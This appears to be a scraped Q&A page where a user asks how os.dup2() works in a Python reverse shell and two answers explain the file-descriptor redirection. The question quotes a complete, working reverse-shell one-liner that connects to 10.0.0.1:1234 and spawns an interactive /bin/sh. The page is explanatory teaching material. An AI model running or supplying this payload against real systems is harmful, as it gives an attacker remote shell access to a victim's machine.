Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What does os.dup2() do in a python reverse shell when used with the socket?

import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

I Know this creates a TCP socket that connects to 10.0.0.1 on port 1234. I have a question though.

What do the os.dup2()s do in this case? I know they have to do with file descriptors and that 0 is STDIN, 1 is STDOUT and 2 is STDERR, but I don't know what that does here.

like image 261
SilenceOnTheWire Avatar asked Jul 27 '26 21:07

SilenceOnTheWire


2 Answers

It redirects the socket to/from stdin/stdout/stderr in a way that's preserved for subprocesses. I.e., when the code executes /bin/sh the shell inherits the redirections and communicates with the remote user via the socket (without even knowing it).

See os docs.

like image 168
phd Avatar answered Jul 29 '26 11:07

phd


As phd commented above, once the TCP ip4 socket is created and establishes a connection on the remote ip and port, the os.dup2() calls the system call dup2() to create brand new file descriptors, destroying the original old ones, those brand new file descriptors will be passed into the subshell created by the subprocess statement, so that way the interactive shell will get the fd 0 1 2 from the socket.

If you see the process tree you'll see "/bin/sh -i" is a "subprocess" of the parent process running the socket.

Process tree

like image 40
theraulpareja Avatar answered Jul 29 '26 10:07

theraulpareja